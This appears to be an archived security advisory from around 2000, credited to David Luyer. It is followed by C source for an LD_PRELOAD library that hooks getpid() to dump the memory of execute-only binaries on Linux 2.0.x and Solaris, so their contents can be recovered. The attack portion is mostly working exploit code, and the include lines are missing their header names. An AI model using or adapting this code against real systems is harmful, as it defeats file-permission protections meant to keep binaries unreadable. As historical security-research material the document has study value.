/* SYSTEMS AFFECTED Linux 2.0.x, Solaris 2.x PROBLEM David Luyer found following. The following file can be LD_PRELOAD'ed against a mode 111 (--x--x--x) binary on Linux 2.0.x. It will dump the binary to a series of process-dump-... files in the current directory. The executable itself can be recovered by catting the first few files together and truncating at the executable size. This was tested by reconstructing a copy of /bin/cat which was protected mode 111 under Linux 2.0.x (tested up to 2.0.35 and ld.so 2.0.7). YOU CAN ONLY DO THIS FOR NON SETUID APPLICATIONS. Execute only is an extremely vague concept anyway on x86 since the chip doesnt really support it physically. Solaris has the same "problem" and it's hard to say is it a bug or not. Also, filesystems like NFS make no distinction between read-for-execute or read-for-reading. Solaris /proc disallows access to execute only binaries, but its LD_PRELOAD and also LD_LIBRARY_PATH have the exact same problem. LD_LIBRARY_PATH is somewhat trickier to abuse as it requires you to build an entire library and not just an object with a few replacement function, although you might get very far by just using a .init section and little substance. */ #include #include #include static char * filename = "process-dump-%04x-%08lx:%08lx"; static int ___mypid = 0; void ___dump_memory() { FILE *f, *maps; char str[80], c, *fname; unsigned long fr, to; maps = fopen("/proc/self/maps", "r"); while (fgets(str, 80, maps) != NULL) { if(sscanf(str, "%8lx-%8lx %c", &fr, &to, &c) != 3) { fprintf(stderr, "bad /proc/maps line: %s\n", str); continue; } if(c != 'r') { fprintf(stderr, "non-readable map: %08lx to %08lx\n", fr, to); continue; } if((to - fr) % 4096) { fprintf(stderr, "warning: non-4k-blocked map: %08lx to %08lx\n", fr, to); } fname = malloc(strlen(filename) + 9); sprintf(fname, filename, ___mypid, fr, to); unlink(fname); f = fopen(fname, "w"); fwrite((void *)fr, (to - fr)/4096, 4096, f); fclose(f); } fclose(maps); } int getpid() { /* override getpid() since this is called in most process startup */ if(!___mypid) { ___mypid = __getpid(); ___dump_memory(); } return ___mypid; } int fork() { /* make sure getpid() returns correct value after fork() */ int i; if((i = __fork()) && i != -1) ___mypid = i; return i; } int clone() { /* I couldn't be bothered... */ fputs("sorry this preload does not support clone()\n", stderr); return -1; } /* www.hack.co.za [2000]*/